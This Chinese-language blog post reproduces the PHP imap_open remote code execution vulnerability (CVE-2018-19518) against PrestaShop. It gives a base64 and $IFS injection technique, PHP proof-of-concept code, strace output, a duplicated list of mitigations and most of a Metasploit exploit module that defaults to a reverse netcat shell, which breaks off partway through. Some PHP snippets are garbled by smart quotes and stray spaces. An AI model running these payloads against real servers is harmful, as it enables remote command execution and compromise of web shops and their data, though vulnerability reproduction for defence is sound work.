这时我们不能直接将它转移到PHP脚本来代替imap_open服务器地址,因为在解析时,它将空格解释为分隔符和斜杠作为标志。但,你可以使用$ IFS shell变量来替换空格符号或普通选项卡(\ t)。还可以在bash中使用Ctrl + V热键和Tab键插入标签。要想绕过斜杠,你可以使用base64编码和相关命令对其进行解码,比如

echo "echo hello|tee /tmp/executed"|base64
ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
root@hacker:/tmp# echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
hello
root@hacker:/tmp#

 

我们也可以也hack bar里对其用base64进行解码开个题外话,刚还在群里问了大佬们用的firefox的hackbar多一点还是chrome的hackbar多一点呢,因为我感觉firefox的hackbar更舒服,但是更喜欢用chrome,很纠结,还是看习惯吧 呐,我们现在放到PHP进行测试 新建一个test2.php

<?php$payload = “echo hello|tee /tmp/executed”;$encoded_payload = base64_encode($payload);$server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|base64\t-d|bash”;@imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);

 

现在再次使用strace执行它并观察命令行调用的内容。

root@hacker:/tmp# strace -f -e trace=clone,execve php test2.phpexecve("/usr/bin/php", ["php", "test2.php"], [/ 20 vars /]) = 0strace: Process 17488 attachedstrace: Process 17489 attached[pid 17489] execve("/usr/bin/rsh", ["/usr/bin/rsh", "any", "-o", "ProxyCommand=echo\tZWNobyBoZWxsb3"..., "-l", "root", "exec", "/usr/sbin/rimapd"], [/ 20 vars /] <unfinished ...>[pid 17488] +++ exited with 1 +++[pid 17487] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17488, si_uid=0, si_status=1, si_utime=0, si_stime=0} ---[pid 17489] <... execve resumed> )      = 0[pid 17489] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f84a6842650) = 17490strace: Process 17490 attached[pid 17490] execve("/bin/bash", ["/bin/bash", "-c", "exec echo\tZWNobyBoZWxsb3x0ZWUgL3"...], [/ 20 vars /]) = 0[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17491[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17492[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17493strace: Process 17493 attachedstrace: Process 17492 attached[pid 17493] execve("/bin/bash", ["bash"], [/ 20 vars /]) = 0[pid 17492] execve("/usr/bin/base64", ["base64", "-d"], [/ 20 vars /]strace: Process 17491 attached) = 0[pid 17491] execve("/bin/echo", ["echo", "ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVj"...], [/ 20 vars /]) = 0[pid 17492] +++ exited with 0 +++[pid 17491] +++ exited with 0 +++[pid 17493] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f292e137e10) = 17494[pid 17493] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f292e137e10) = 17495strace: Process 17495 attached[pid 17495] execve("/usr/bin/tee", ["tee", "/tmp/executed"], [/ 20 vars /]) = 0strace: Process 17494 attached[pid 17494] +++ exited with 0 +++[pid 17495] +++ exited with 0 +++[pid 17493] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17494, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17493] +++ exited with 0 +++[pid 17490] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17492, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17490] +++ exited with 0 +++[pid 17489] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17490, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17489] +++ exited with 255 +++PHP Notice:  Unknown: No such host as any -o ProxyCommand=echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZA==|base64 -d|bash (errflg=2) in Unknown on line 0+++ exited with 0 +++root@hacker:/tmp#

 

被我们用红色框圈出来的,它们都正在远程服务器上运行。利用完成,文件创建成功。这些命令不是由PHP本身执行,而是由外部库执行,这意味着什么??意味着他们都不会阻止它执行,而不是事件disable_functions指令。现在我们放在简单的生产环境进行测试PrestaShop,PrestaShop是一种免费增值的开源电子商务解决方案,它是由php编写的,mysql数据库,官网给出的最低配置,我们简略的看一下

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstringservice mysql startmysql -u root -e "CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON . TO 'root'@'localhost' IDENTIFIED BY 'megapass';"a2enmod rewrite

 

我们cd 到/var/www/html

wget [https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip](https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip)unzip prestashop_1.7.4.4.zip#Start Apache2 daemon and surf your web-server to begin shop installation.service apache2 start

 

访问192.168.169.128/install/index.php进行安装,并登陆管理面板我们也可以查看AdminCustomerThreads的源代码/prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php

// Executes the IMAP synchronization.$sync_errors = $this->syncImap();…public function syncImap(){if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))|| !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))|| !($user = Configuration::get(‘PS_SAV_IMAP_USER’))|| !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));}$conf = Configuration::getMultiple(array(‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));…$mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);

 

在这里你可以看到imap_open调用的url变量现在我们执行paylaod.php

<?php $ payload = $ argv [1]; $ encoded_pa​​yload = base64_encode($ payload); $ server =“any -o ProxyCommand = echo \ t”。$ encoded_pa​​yload。“| base64 \ td | bash}”; print(“payload:{$ server}”。PHP_EOL);

 

终于能看见远程执行了,好了复现就到这里管理员可以做点什么?

建议管理员应用适当的更新。建议管理员仅允许受信任的用户进行网络访问。建议管理员同时运行防火墙和防病毒应用程序,以最大限度地降低入站和出站威胁的可能性。管理员可以考虑使用基于IP的访问控制列表(ACL),仅允许受信任的系统访问受影响的系统。管理员可以使用可靠的防火墙策略帮助保护受影响的系统免受外部攻击。建议管理员监视受影响的系统。

终于能看见远程执行了,好了复现就到这里管理员可以做点什么?

建议管理员应用适当的更新。建议管理员仅允许受信任的用户进行网络访问。建议管理员同时运行防火墙和防病毒应用程序,以最大限度地降低入站和出站威胁的可能性。管理员可以考虑使用基于IP的访问控制列表(ACL),仅允许受信任的系统访问受影响的系统。管理员可以使用可靠的防火墙策略帮助保护受影响的系统免受外部攻击。建议管理员监视受影响的系统。

 

大佬的帖子是这么写的,稍微搬一下,没怎么做翻译,说一下自己结合的理解,类似于PrestaShop这样的软件暂时没有更新版本解决这个安全问题。听说,PHP大佬已经发布了针对此问题的补丁,估计Linux发行版中的存储库和软件包也未必有这么快动作来更新安全补丁最后奉上CVE-2018-19518漏洞利用的。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'php imap_open Remote Code Execution',
      'Description'     => %q{
        The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
        IMAP session.  On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary.  Ssh's ProxyCommand
        option can be passed from imap_open to execute arbitrary commands.
        While many custom applications may use imap_open, this exploit works against the following applications:
        e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
        Prestashop exploitation requires the admin URI, and administrator credentials.
        suiteCRM/e107/hostcms require administrator credentials.
      },
      'Author' =>
        [
          'Anton Lopanitsyn', # Vulnerability discovery and PoC
          'Twoster', # Vulnerability discovery and PoC
          'h00die' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ],
          [ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ],
          [ 'EDB', '45865'],
          [ 'URL', 'https://bugs.php.net/bug.php?id=76428'],
          [ 'CVE', '2018-19518']
        ],
      'Privileged'  => false,
      'Platform'  => [ 'unix' ],
      'Arch'  => ARCH_CMD,
      'Targets' =>
        [
          [ 'prestashop', {} ],
          [ 'suitecrm', {}],
          [ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron
          [ 'custom', {'WfsDelay' => 300}]
        ],
      'PrependFork' => true,
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'cmd/unix/reverse_netcat',
          'WfsDelay' => 120
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 23 2018'))
 
    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']),
        OptString.new('USERNAME', [ false, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end
 
  def check
   if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && (res.code == 301 || res.code == 302)
       return CheckCode::Detected
      end
    elsif target.name =~ /suitecrm/
      #login page GET /index.php?action=Login&module=Users
      vprint_status('Loading login page')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'action' => 'Login',
          'module' => 'Users'
        }
      )
      unless res
        print_error('Error loading site.  Check options.')
        return
      end
 
      if res.code = 200
        return CheckCode::Detected
      end
   end
   CheckCode::Safe
  end
 
  def command(spaces='$IFS$()')
    #payload is base64 encoded, and stuffed into the SSH option.
    enc_payload = Rex::Text.encode_base64(payload.encoded)
    command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
    #final payload can not contain spaces, however $IFS$() will return the space we require
    command.gsub!(' ', spaces)
  end
 
  def exploit
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && res.code != 301
        print_error('Admin redirect not found, check URI.  Should be something similar to /admin2769gx8k3')
        return
      end
 
      #There are a bunch of redirects that happen, so we automate going through them to get to the login page.
      while res.code == 301 || res.code == 302
        cookie = res.get_cookies
        uri = res.headers['Location']
        vprint_status("Redirected to #{uri}")
        res = send_request_cgi({'uri' => uri})
      end
 
      #Tokens are generated for each URL or sub-component, we need valid ones!
      /.*token=(?<token>\w{32})/ =~ uri
      /id="redirect" value="(?<redirect>.*)"\/>/ =~ res.body
      cookie = res.get_cookies
 
      unless token && redirect
        print_error('Unable to find token and redirect URL, check options.')
        return
      end
 
      vprint_status("Token: #{token} and Login Redirect: #{redirect}")
      print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      res = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => cookie,
        'vars_post' => {
          'ajax' => 1,
          'token' => '',
          'controller' => 'AdminLogin',
          'submitLogin' => '1',
          'passwd' => datastore['PASSWORD'],
          'email' => datastore['USERNAME'],
          'redirect' => redirect
        },
        'vars_get' => {
          'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated
        }
      )
      if res && res.body.include?('Invalid password')
        print_error('Invalid Login')
        return
      end
      vprint_status("Login JSON Response: #{res.body}")
      uri = JSON.parse(res.body)['redirect']
      cookie = res.get_cookies
      print_good('Login Success, loading admin dashboard to pull tokens')
      res = send_request_cgi({'uri' => uri, 'cookie' => cookie})
 
      /AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
      vprint_status("Customer Threads Token: #{token}")
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => cookie,
        'vars_get' => {
          'controller' => 'AdminCustomerThreads',
          'token' => token
        }
      })